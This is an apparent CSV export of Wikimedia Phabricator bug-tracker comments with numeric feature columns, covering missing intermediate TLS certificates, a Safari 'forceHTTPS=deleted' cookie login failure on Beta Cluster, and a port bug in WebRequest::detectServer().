+465964,Ganglia server doesn't send intermediary certificates,this should be fixed once we merge https://gerrit.wikimedia.org/r/197341,,,1432930100,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+394314,Ganglia server doesn't send intermediary certificates,Looks like stats is also OK now. Just ganglia.,,,1420001568,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-27,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+332332,Ganglia server doesn't send intermediary certificates,noc.wikimedia.org was fixed.,,,1416794523,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+321467,Ganglia server doesn't send intermediary certificates,metrics.wikimedia.org has been fixed.,,,1411614754,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+321459,Ganglia server doesn't send intermediary certificates,"There are three more, so all together:
+
+[1] noc.wikimedia.org
+https://www.ssllabs.com/ssltest/analyze.html?d=noc.wikimedia.org
+
+[2] stats.wikimedia.org
+https://www.ssllabs.com/ssltest/analyze.html?d=stats.wikimedia.org
+
+[3] ganglia.wikimedia.org
+https://www.ssllabs.com/ssltest/analyze.html?d=ganglia.wikimedia.org
+
+[4] metrics.wikimedia.org
+https://www.ssllabs.com/ssltest/analyze.html?d=metrics.wikimedia.org",,,1409726594,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1
+72145,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I've observed this for a couple weeks now at various times on multiple iOS devices (iPhone 5 and iPad 2). It may be affecting all mobile devices, or maybe just Safari; not sure. 
+
+Steps to repro:
+
+1. On iOS mobile device, type beta labs URL into Safari or follow a link to beta labs from email.
+2. Go to login page and enter username/pw. Tap login.
+
+You'll get taken to a ""Safari cannot open page because it could not connect to the server"" page. Makes testing new mobile features very difficult :(
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=71079",Medium,50.0,1409268780,,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_description,open,True,c3,1,True,False,,-44,True,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+392630,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",@greg: I can confirm this bug is still occurring.,,,1419376965,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0
+332769,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I've tripped on this problem a couple times in the last week again myself. I'm using Chrome and have seen the forceHTTPS=1 cookie end up set when logging in to beta. This results in failed attempts to connect to https://... and then needs me to clear the cookie to get back to looking at beta sites.
+
+It would be nice to be able to ignore the cookie entirely in environments like beta where we actually don't have a TLS endpoint. (Or get TLS setup for beta: {T70387})",,,1416872272,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+332763,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",">>! In T72145#730119, @csteipp wrote:
+> On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.
+> 
+> The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.
+
+Assuming this is still the case (Kaldari: can you confirm?), let's try that route.",,,1416871876,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+332450,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Is this still 'unbreak now'?,,,1416833965,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0
+315489,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Dan Duvall from comment #22)
+> A brief summary of what we observed while troubleshooting (Chris, please
+> correct me if this is wrong/incomplete): Safari's behavior seems
+> intermittently incorrect in that it includes the ""forceHTTPS=deleted"" cookie
+> in requests following the explicit expiration of the cookie. The subsequent
+> submission of the literal ""deleted"" cookie value causes a redirect to https.
+
+Yep, that's all correct. On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.
+
+The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.",,,1409788557,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+315481,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Chris, I've attached the tcpflow logs from our troubleshooting session. Let me know if there's anything else that would be helpful.
+
+A brief summary of what we observed while troubleshooting (Chris, please correct me if this is wrong/incomplete): Safari's behavior seems intermittently incorrect in that it includes the ""forceHTTPS=deleted"" cookie in requests following the explicit expiration of the cookie. The subsequent submission of the literal ""deleted"" cookie value causes a redirect to https.",,,1409786592,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+315474,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16357
+tcpflow log of successful login attempt in Safari (no redirect to https)
+
+**Attached**: {F14420}",,,1409786257,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+315464,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16356
+tcpflow log of successful login attempt in Safari (redirected to https)
+
+//attachment safari-beta-login-pcap-success.log ignored as obsolete//",,,1409786215,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+315457,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16355
+tcpflow log of failed login attempt in Safari (redirected to https)
+
+**Attached**: {F14419}",,,1409786184,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+315451,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","For me, it's redirecting to https on the final CA login redirect. Authentication seems to complete as I can navigate to an http URL from there and I appear to be logged in.
+
+  GET /wiki/Special:CentralLogin/complete?token=<redacted> HTTP/1.1
+  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
+  ...
+
+
+  HTTP/1.1 302 forced.302
+  Location: https://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=<redacted>
+  ...",,,1409766836,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+315447,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Ryan Kaldari from comment #10)
+> On a totally reset installation of Safari going to...
+> http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
+> ... and logging in sporadically fails for me on both desktop and mobile
+> Safari.
+
+If it's sporadic, then it might be a cache issue-- someone with a forceHTTPS cookie is hitting the page, the redirect is being served and cached, and varnish is ignoring the vary header.
+
+That, or Safari thinks it should always use ssl. We've never sent hsts headers for that domain.
+
+I'll try to get someone in the office to use my laptop as a proxy, and I can see what exactly is being sent.",,,1409765302,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+315445,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",My Safari is also stock. It seems that first the user is redirected to Special:CentralLogin/complete and then to Main Page (or wherever they came from). I've seen it fail on both.,,,1409764873,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+315444,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Chris/Tyler: Any ideas on why Safari would be unable to login on Beta Cluster?,,,1409759635,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+315441,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Maryana Pinchuk from comment #0)
+> You'll get taken to a ""Safari cannot open page because it could not connect
+> to the server"" page. Makes testing new mobile features very difficult :(
+
+My stock install of Safari on my laptop also had this problem on my first try logging in to beta labs. :-(",,,1409759251,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+315437,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Greg Grossmeier from comment #12)
+> Obvious question: SSL Everywhere installed? If so, tried disabling?
+
+I think my Safari is completely stock. I never use it because Safari. :)",,,1409758673,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+315431,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Obvious question: SSL Everywhere installed? If so, tried disabling?",,,1409758297,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0
+315425,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I'm seeing the same behavior as Bryan, it's trying to redirect to https://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page which is failing.",,,1409704355,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+315419,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","On a totally reset installation of Safari going to...
+http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
+... and logging in sporadically fails for me on both desktop and mobile Safari.",,,1409704165,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+315412,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",I am guessing that your local browser actually wants to log in securely (beta labs stopped listening for https traffic a while back): https://bugzilla.wikimedia.org/show_bug.cgi?id=68387,,,1409703382,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+315406,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",It's currently working for me from an iPhone.,,,1409703023,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+315402,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",I'm getting redirected to the ssl version of https://en.wikipedia.beta.wmflabs.org when I login using Safari and that is broken. Not sure why the https redirect is happening.,,,1409702952,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+315398,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Changing summary accordingly.
+
+Chris or anyone with a Macbook: can you reproduce?",,,1409702026,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+315396,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","It's constant now :( And yes, I just repro'ed on desktop Safari, too (good news is desktop Chrome is unaffected).",,,1409701817,,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+315394,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",The beta cluster was barely available since last friday so that might be related.  Do you reproduce the issue using a desktop browser?,,,1409297457,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0
+315390,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Maryana Pinchuk from comment #0)
+> I've observed this for a couple weeks now at various times on multiple iOS
+> devices (iPhone 5 and iPad 2). It may be affecting all mobile devices, or
+> maybe just Safari; not sure. 
+
+Is it 100% of the time or sporadic?",,,1409275841,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+315386,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I borrowed an iphone 4 and used Safari to login at en.m.wikipedia.beta.wmflabs.org. After logging in I got a strange redirect to www.en.m.wikipedia.beta.wmflabs.org and an error message ""Mobile domains are not served from this server IP address.""  Upon manually entering the URL en.m.wikipedia.beta.wmflabs.org again I found I had logged in successfully.  
+
+However, the logout button did not work.  I may have fat-fingered it, but it only brought me to my user page.",,,1409271797,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+315379,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Clarifying that this is just mobile web. The mobile apps intentionally cannot log into beta labs.,,,1409270666,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+72021,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","Seen in labs when running a MediaWiki-Vagrant configured wiki behind yuviproxy. Configuration sets `$wgServer = WebRequest::detectServer()` which works great when  HTTP_X_FORWARDED_PROTO is unset or http. When it is https, detectServer() adds "":80"" to the generated url (eg ""https://sulfinalization.wmflabs.org:80"").
+
+This is caused by a mismatch between the standard port for https (443) and the active SERVER_PORT reported by Apache (80). detectServer() calls IP::combineHostAndPort( $host, $port=80, $stdPort=443 ) which leads to a return value of $host:80 since the active port and the default port do not match.
+
+I think naively that this could be fixed by choosing to set $port = $stdPort when $_SERVER['HTTP_X_FORWARDED_PROTO'] is set to 'https' and assume the upstream ssl proxy is running on the standard port 443.
+
+Can anyone think of a realistic deployment scenario where this would be the wrong behavior?
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Medium,50.0,1409022960,1409718515.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-zm3pfhfknjxqfrnikze5,task_description,resolved,True,c3,1,True,False,True,-45,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+321146,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","**gerritadmin** wrote:
+
+Change 156236 merged by jenkins-bot:
+Use protocol default port with HTTP_X_FORWARDED_PROTO
+
+https://gerrit.wikimedia.org/r/156236",,,1409716319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zm3pfhfknjxqfrnikze5,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321142,"WebRequest::detectServer() appends "":80"" to hostname when HTTP_X_FORWARDED_PROTO == ""https""","**gerritadmin** wrote:
+
+Change 156236 had a related patch set uploaded by BryanDavis:
+Use protocol default port with HTTP_X_FORWARDED_PROTO
+
